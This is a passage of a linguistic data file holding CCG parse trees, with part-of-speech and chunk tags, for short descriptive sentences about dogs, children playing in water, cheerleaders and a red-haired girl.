t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tennis', 'tennis', 'NN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(790,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'brown', 'brown', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(791,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'onto', 'onto', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(792,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Four', 'four', 'CD', 'I-NP', 'O'),
t(n, 'athletes', 'athlete', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'crowded', 'crowded', 'JJ', 'I-NP', 'O'),
t(n, 'stadium', 'stadium', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(793,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'dressed', 'dress', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'elegant', 'elegant', 'JJ', 'I-NP', 'O'),
t(n, 'clothing', 'clothing', 'NN', 'I-NP', 'O'))))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'inside', 'inside', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'crowd', 'crowd', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(794,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'dressed', 'dress', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'elegant', 'elegant', 'JJ', 'I-NP', 'O'),
t(n, 'clothing', 'clothing', 'NN', 'I-NP', 'O'))))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'inside', 'inside', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'crowd', 'crowd', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(795,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'Asian', 'asian', 'JJ', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'fur', 'fur', 'NN', 'I-NP', 'O'),
t(n, 'scarf', 'scarf', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(796,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'elegant', 'elegant', 'JJ', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'inside', 'inside', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'crowd', 'crowd', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'looking', 'look', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(797,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'kid', 'kid', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 't-shirt', 't-shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'splashing', 'splash', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'shallow', 'shallow', 'JJ', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(798,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(799,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(800,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 't-shirt', 't-shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'splashing', 'splash', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'shallow', 'shallow', 'JJ', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(801,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 't-shirt', 't-shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'splashing', 'splash', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'shallow', 'shallow', 'JJ', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(802,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(803,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'kids', 'kid', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'suits', 'suit', 'NNS', 'I-NP', 'O'))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:adj\np), 'splashing', 'splash', 'VBG', 'I-VP', 'O'),
t(s:adj\np, 'around', 'around', 'RB', 'I-ADVP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(804,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
t(n, 'Children', 'Child', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'swimming', 'swimming', 'NN', 'I-NP', 'O'),
t(n, 'suits', 'suit', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(805,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'patterned', 'patterned', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'swim', 'swim', 'NN', 'I-NP', 'O'),
t(n, 'suit', 'suit', 'NN', 'I-NP', 'O'))))),
conj(np:nb\np:nb, np:nb,
t(comma, ',', ',', ',', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'))),
fa(n,
t(n/n, 'swim', 'swim', 'NN', 'I-NP', 'O'),
t(n, 'cap', 'cap', 'NN', 'I-NP', 'O')))))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'swimming', 'swimming', 'NN', 'I-NP', 'O'),
t(n, 'goggles', 'goggles', 'NNS', 'I-NP', 'O'))))),
fa((s:dcl\np)\(s:dcl\np),
t(((s:dcl\np)\(s:dcl\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'head', 'head', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(806,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'patterned', 'patterned', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'swim', 'swim', 'NN', 'I-NP', 'O'),
t(n, 'suit', 'suit', 'NN', 'I-NP', 'O'))))),
conj(np:nb\np:nb, np:nb,
t(comma, ',', ',', ',', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'))),
fa(n,
t(n/n, 'swim', 'swim', 'NN', 'I-NP', 'O'),
t(n, 'cap', 'cap', 'NN', 'I-NP', 'O')))))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'swimming', 'swimming', 'NN', 'I-NP', 'O'),
t(n, 'goggles', 'goggles', 'NNS', 'I-NP', 'O'))))),
fa((s:dcl\np)\(s:dcl\np),
t(((s:dcl\np)\(s:dcl\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'head', 'head', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(807,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'female', 'female', 'JJ', 'I-NP', 'O'),
t(n, 'cheerleader', 'cheerleader', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'knee', 'knee', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'male', 'male', 'JJ', 'I-NP', 'O'),
t(n, 'cheerleader', 'cheerleader', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(808,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'cheerleaders', 'cheerleader', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'relaxing', 'relax', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(809,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl\np,
t(s:dcl\np, 'eyebrows', 'eyebrow', 'VBZ', 'I-VP', 'O'),
ltc((s:dcl\np)\(s:dcl\np),
t(comma, ',', ',', ',', 'O', 'O'),
ba(np,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'several', 'several', 'JJ', 'I-NP', 'O'),
t(n, 'piercings', 'piercing', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ear', 'ear', 'NN', 'I-NP', 'O')))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'drawing', 'drawing', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'back', 'back', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(810,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl\np,
t(s:dcl\np, 'eyebrows', 'eyebrow', 'VBZ', 'I-VP', 'O'),
ltc((s:dcl\np)\(s:dcl\np),
t(comma, ',', ',', ',', 'O', 'O'),
ba(np,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'several', 'several', 'JJ', 'I-NP', 'O'),
t(n, 'piercings', 'piercing', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ear', 'ear', 'NN', 'I-NP', 'O')))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tattoo', 'tattoo', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'back', 'back', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(811,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/np, 'has', 'have', 'VBZ', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl\np,
t(s:dcl\np, 'eyebrows', 'eyebrow', 'VBZ', 'I-VP', 'O'),
ltc((s:dcl\np)\(s:dcl\np),
t(comma, ',', ',', ',', 'O', 'O'),
ba(np,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'several', 'several', 'JJ', 'I-NP', 'O'),
t(n, 'piercings', 'piercing', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ear', 'ear', 'NN', 'I-NP', 'O')))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'tattoo', 'tattoo', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
